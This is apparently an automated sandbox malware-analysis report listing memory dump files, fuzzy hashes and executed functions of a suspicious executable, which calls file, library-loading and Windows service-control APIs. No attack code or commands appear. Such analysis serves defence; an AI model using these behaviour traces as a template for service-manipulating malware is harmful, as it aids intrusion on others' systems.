Associated: 00000000.00000002.1723517338.0000000000A6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723809098.0000000000A8A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723828156.0000000000A8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723845372.0000000000A8D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723864274.0000000000A98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723885621.0000000000AAD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723904125.0000000000AB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723922482.0000000000ABA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723940253.0000000000ABF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723957672.0000000000AC7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723973850.0000000000AC8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723990319.0000000000ACF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724009256.0000000000AD0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724027928.0000000000AD9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724045083.0000000000AE0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724064498.0000000000AE7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724081220.0000000000AEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724102450.0000000000B01000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724121123.0000000000B02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724121123.0000000000B2C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724168291.0000000000B42000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724186447.0000000000B46000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724205232.0000000000B47000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724223718.0000000000B49000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724245108.0000000000B5C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724265045.0000000000B5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724283723.0000000000B5E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724283723.0000000000B64000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724322483.0000000000B72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724341878.0000000000B73000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_870000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 15f8be4cfda83a68d979c22e3681a77fd66da72acc9e8627ac9a3af9a2096db1
Instruction ID: 43964bba0a9c6161c6bf4ec3c8230a382ae6cf18e0a9c1bd460ff93907b03a4d
Opcode Fuzzy Hash: 15f8be4cfda83a68d979c22e3681a77fd66da72acc9e8627ac9a3af9a2096db1
Instruction Fuzzy Hash: F3419AF3F212164BF7984879CC583A26683D7E9324F2F42388B59977C5E97E9C0A1348

Function 00876D10 Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1723214505.0000000000871000.00000040.00000001.01000000.00000003.sdmp, Offset: 00870000, based on PE: true

Associated: 00000000.00000002.1723197918.0000000000870000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723250589.00000000008CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723269562.00000000008D5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723285160.00000000008D6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723300029.00000000008D7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723397634.0000000000A34000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723415099.0000000000A36000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723433409.0000000000A44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723433409.0000000000A51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723467872.0000000000A59000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723483859.0000000000A5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723500035.0000000000A65000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723517338.0000000000A6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723809098.0000000000A8A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723828156.0000000000A8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723845372.0000000000A8D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723864274.0000000000A98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723885621.0000000000AAD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723904125.0000000000AB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723922482.0000000000ABA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723940253.0000000000ABF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723957672.0000000000AC7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723973850.0000000000AC8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723990319.0000000000ACF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724009256.0000000000AD0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724027928.0000000000AD9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724045083.0000000000AE0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724064498.0000000000AE7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724081220.0000000000AEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724102450.0000000000B01000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724121123.0000000000B02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724121123.0000000000B2C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724168291.0000000000B42000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724186447.0000000000B46000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724205232.0000000000B47000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724223718.0000000000B49000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724245108.0000000000B5C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724265045.0000000000B5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724283723.0000000000B5E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724283723.0000000000B64000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724322483.0000000000B72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724341878.0000000000B73000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_870000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ef01acc8d76d285d00aef0a919411171877994b1326c08946d36bdc28aa31566
Instruction ID: 017770fe429d2a9320c7eed34d4bd441428c09e132538a8a5179addca21d2b11
Opcode Fuzzy Hash: ef01acc8d76d285d00aef0a919411171877994b1326c08946d36bdc28aa31566
Instruction Fuzzy Hash: 13110437B38A620BE3A0CE66DCD45166B52FBD5315B1E4235EA89C720AE623F821D190

Analysis Process: 94JSCZGRDUWCLDEBY2HC1S58YAX1.exePID: 1540, Parent PID: 4936COMMON

Execution Graph

Execution Coverage:	4%
Dynamic/Decrypted Code Coverage:	39.1%
Signature Coverage:	0%
Total number of Nodes:	23
Total number of Limit Nodes:	1

Executed Functions

Function 006E568C Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 196
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNELBASE ref: 006E56C7

Strings

C, xrefs: 006E5988
"Hhu, xrefs: 006E5990

Memory Dump Source

Source File: 00000003.00000002.1867405325.00000000006DE000.00000040.00000001.01000000.00000006.sdmp, Offset: 00550000, based on PE: true

Associated: 00000003.00000002.1867112879.0000000000550000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1867159031.0000000000552000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1867201417.0000000000556000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1867236553.000000000055A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1867257167.0000000000566000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1867360840.00000000006C6000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1867381845.00000000006C9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1867405325.00000000006EB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1867446329.00000000006F4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1867464589.00000000006F5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1867486438.0000000000700000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1867505787.0000000000701000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1867524536.0000000000703000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1867542975.0000000000705000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1867565576.000000000071C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1867587385.000000000072C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1867612422.000000000072D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1867684627.0000000000732000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1867711046.000000000073E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1867739547.000000000073F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1867770872.0000000000740000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1867800335.0000000000743000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1867835392.000000000075A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1867860121.000000000075C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1867885280.0000000000764000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1867915071.0000000000767000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1867939902.0000000000768000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1867965258.0000000000771000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1867987003.0000000000772000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1868010334.0000000000774000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1868040491.0000000000785000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1868139707.000000000078B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1868163174.0000000000793000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1868192164.0000000000796000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1868279016.000000000079E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1868310474.00000000007A0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1868391241.00000000007AD000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1868416122.00000000007AE000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1868439900.00000000007AF000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1868494689.00000000007B2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1868522293.00000000007B3000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1868545785.00000000007B5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1868613859.00000000007FB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1868613859.0000000000803000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1868694958.0000000000812000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1868715019.0000000000814000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_550000_94JSCZGRDUWCLDEBY2HC1S58YAX1.jbxd

Similarity

API ID: CreateFile
String ID: "Hhu$C
API String ID: 823142352-565220045
Opcode ID: af55145480f72ef881f4c213ba87dd1d5848e27c8f4a171f82cbb44928500496
Instruction ID: 24de5f652b4efdb9bd378b6ecfb1f2e090f394a739fd62a883889135dfda409a
Opcode Fuzzy Hash: af55145480f72ef881f4c213ba87dd1d5848e27c8f4a171f82cbb44928500496
Instruction Fuzzy Hash: 994149B724EBD0BEE6018A5A6E90AFF3B6FD7C6338B308526F403C6043D2940D0A5234

Function 006E56B8 Relevance: 1.6, APIs: 1, Instructions: 127
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNELBASE ref: 006E56C7

Memory Dump Source

Source File: 00000003.00000002.1867405325.00000000006DE000.00000040.00000001.01000000.00000006.sdmp, Offset: 00550000, based on PE: true

Associated: 00000003.00000002.1867112879.0000000000550000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1867159031.0000000000552000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1867201417.0000000000556000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1867236553.000000000055A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1867257167.0000000000566000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1867360840.00000000006C6000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1867381845.00000000006C9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1867405325.00000000006EB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1867446329.00000000006F4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1867464589.00000000006F5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1867486438.0000000000700000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1867505787.0000000000701000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1867524536.0000000000703000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1867542975.0000000000705000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1867565576.000000000071C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1867587385.000000000072C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1867612422.000000000072D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1867684627.0000000000732000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1867711046.000000000073E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1867739547.000000000073F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1867770872.0000000000740000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1867800335.0000000000743000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1867835392.000000000075A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1867860121.000000000075C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1867885280.0000000000764000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1867915071.0000000000767000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1867939902.0000000000768000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1867965258.0000000000771000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1867987003.0000000000772000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1868010334.0000000000774000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1868040491.0000000000785000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1868139707.000000000078B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1868163174.0000000000793000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1868192164.0000000000796000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1868279016.000000000079E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1868310474.00000000007A0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1868391241.00000000007AD000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1868416122.00000000007AE000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1868439900.00000000007AF000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1868494689.00000000007B2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1868522293.00000000007B3000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1868545785.00000000007B5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1868613859.00000000007FB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1868613859.0000000000803000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1868694958.0000000000812000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1868715019.0000000000814000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_550000_94JSCZGRDUWCLDEBY2HC1S58YAX1.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 57ab144e1c2c55d353e304daeda704e3c076c1375688e8c4e6c3da800903757b
Instruction ID: 15642ba6cecd450015c760d06031fae4432c53aaf79d9d411df2e45abc80007e
Opcode Fuzzy Hash: 57ab144e1c2c55d353e304daeda704e3c076c1375688e8c4e6c3da800903757b
Instruction Fuzzy Hash: 7E21E3EB24E7D0BDF601C6562E64AFA6B6ECBC2738B34846BF443CA443E254491E4235

Function 006E1C48 Relevance: 1.6, APIs: 1, Instructions: 111
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE ref: 006E1C48

Memory Dump Source

Source File: 00000003.00000002.1867405325.00000000006DE000.00000040.00000001.01000000.00000006.sdmp, Offset: 00550000, based on PE: true

Associated: 00000003.00000002.1867112879.0000000000550000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1867159031.0000000000552000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1867201417.0000000000556000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1867236553.000000000055A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1867257167.0000000000566000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1867360840.00000000006C6000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1867381845.00000000006C9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1867405325.00000000006EB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1867446329.00000000006F4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1867464589.00000000006F5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1867486438.0000000000700000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1867505787.0000000000701000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1867524536.0000000000703000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1867542975.0000000000705000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1867565576.000000000071C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1867587385.000000000072C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1867612422.000000000072D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1867684627.0000000000732000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1867711046.000000000073E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1867739547.000000000073F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1867770872.0000000000740000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1867800335.0000000000743000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1867835392.000000000075A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1867860121.000000000075C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1867885280.0000000000764000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1867915071.0000000000767000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1867939902.0000000000768000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1867965258.0000000000771000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1867987003.0000000000772000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1868010334.0000000000774000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1868040491.0000000000785000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1868139707.000000000078B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1868163174.0000000000793000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1868192164.0000000000796000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1868279016.000000000079E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1868310474.00000000007A0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1868391241.00000000007AD000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1868416122.00000000007AE000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1868439900.00000000007AF000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1868494689.00000000007B2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1868522293.00000000007B3000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1868545785.00000000007B5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1868613859.00000000007FB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1868613859.0000000000803000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1868694958.0000000000812000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1868715019.0000000000814000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_550000_94JSCZGRDUWCLDEBY2HC1S58YAX1.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: b47e7651908191e39ebc7a684745571a57e05272f6ae4903ba2c7ad0c90ac181
Instruction ID: 342b5e67f4162580eb433c8056ddc003cfdc8bdf4e0b2d89aae72cc74a910f8a
Opcode Fuzzy Hash: b47e7651908191e39ebc7a684745571a57e05272f6ae4903ba2c7ad0c90ac181
Instruction Fuzzy Hash: 35315DB250C200AFE305AF19DC8167AFBE9FF98721F16492DE7C483650D63558548A97

Function 04E10D41 Relevance: 1.6, APIs: 1, Instructions: 63
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenSCManagerW.SECHOST(00000000,00000000,?), ref: 04E10DCD

Memory Dump Source

Source File: 00000003.00000002.1874763486.0000000004E10000.00000040.00000800.00020000.00000000.sdmp, Offset: 04E10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4e10000_94JSCZGRDUWCLDEBY2HC1S58YAX1.jbxd

Similarity

API ID: ManagerOpen
String ID:
API String ID: 1889721586-0
Opcode ID: f51d2fbbb208eef21ad49f317d901e5e59c8b6febe95ad7079bafa1e960fe2be
Instruction ID: ca010d58498794589dacbf3b33ad382a10ea177705620c67f9181c379ae4d7d1
Opcode Fuzzy Hash: f51d2fbbb208eef21ad49f317d901e5e59c8b6febe95ad7079bafa1e960fe2be
Instruction Fuzzy Hash: B52138B6C01218DFDB10CF99D485BDEFBF0EB88310F14816AD808AB214D774A945CBA5

Function 04E10D48 Relevance: 1.6, APIs: 1, Instructions: 59
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenSCManagerW.SECHOST(00000000,00000000,?), ref: 04E10DCD

Memory Dump Source

Source File: 00000003.00000002.1874763486.0000000004E10000.00000040.00000800.00020000.00000000.sdmp, Offset: 04E10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4e10000_94JSCZGRDUWCLDEBY2HC1S58YAX1.jbxd

Similarity

API ID: ManagerOpen
String ID:
API String ID: 1889721586-0
Opcode ID: 9d1273d90cf9d32943d1f11dbf9290bf0f338f1e6562527852fb3e0dd39fefd6
Instruction ID: c8df766b3ddf5f16b0d5cb93070d06ac2463a3ccd5a4501990c878b85280bc75
Opcode Fuzzy Hash: 9d1273d90cf9d32943d1f11dbf9290bf0f338f1e6562527852fb3e0dd39fefd6
Instruction Fuzzy Hash: 802113B6C01218DFDB50CF9AD884BDEFBF4EB88310F14855AD808AB215D774A944CBA5

Function 04E11509 Relevance: 1.6, APIs: 1, Instructions: 56
serviceCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ControlService.ADVAPI32(?,?,?), ref: 04E11580

Memory Dump Source

Source File: 00000003.00000002.1874763486.0000000004E10000.00000040.00000800.00020000.00000000.sdmp, Offset: 04E10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4e10000_94JSCZGRDUWCLDEBY2HC1S58YAX1.jbxd

Similarity

API ID: ControlService
String ID:
API String ID: 253159669-0
Opcode ID: c662995d076b29b61db700bccc8157420fedbaf4d41d90742dc43c420d3288f1
Instruction ID: 0e8193377f4e184ead56dbb0085e287611c99467bffe2c2dfff8fecc59fbc2eb
Opcode Fuzzy Hash: c662995d076b29b61db700bccc8157420fedbaf4d41d90742dc43c420d3288f1
Instruction Fuzzy Hash: C02114B2D00249DFDB10CF9AD485BDEFBF4EB48320F148029E519A7250D378AA45CFA5

Function 04E11510 Relevance: 1.6, APIs: 1, Instructions: 54
serviceCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ControlService.ADVAPI32(?,?,?), ref: 04E11580

Memory Dump Source

Source File: 00000003.00000002.1874763486.0000000004E10000.00000040.00000800.00020000.00000000.sdmp, Offset: 04E10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4e10000_94JSCZGRDUWCLDEBY2HC1S58YAX1.jbxd

Similarity

API ID: ControlService
String ID:
API String ID: 253159669-0
Opcode ID: 3b962ea98f603e173327bd14ba7bc12af901f355d4f655347c3d387212274191
Instruction ID: d47220e08f7e32205c8471e54fcaccd2160dd021aabebbb9e2d55f1954a360d1
Opcode Fuzzy Hash: 3b962ea98f603e173327bd14ba7bc12af901f355d4f655347c3d387212274191
Instruction Fuzzy Hash: 291114B1D00249DFDB10CF9AD484BDEFBF4EB48320F148029E519A3250D378AA44CFA5

Function 04E11301 Relevance: 1.6, APIs: 1, Instructions: 50
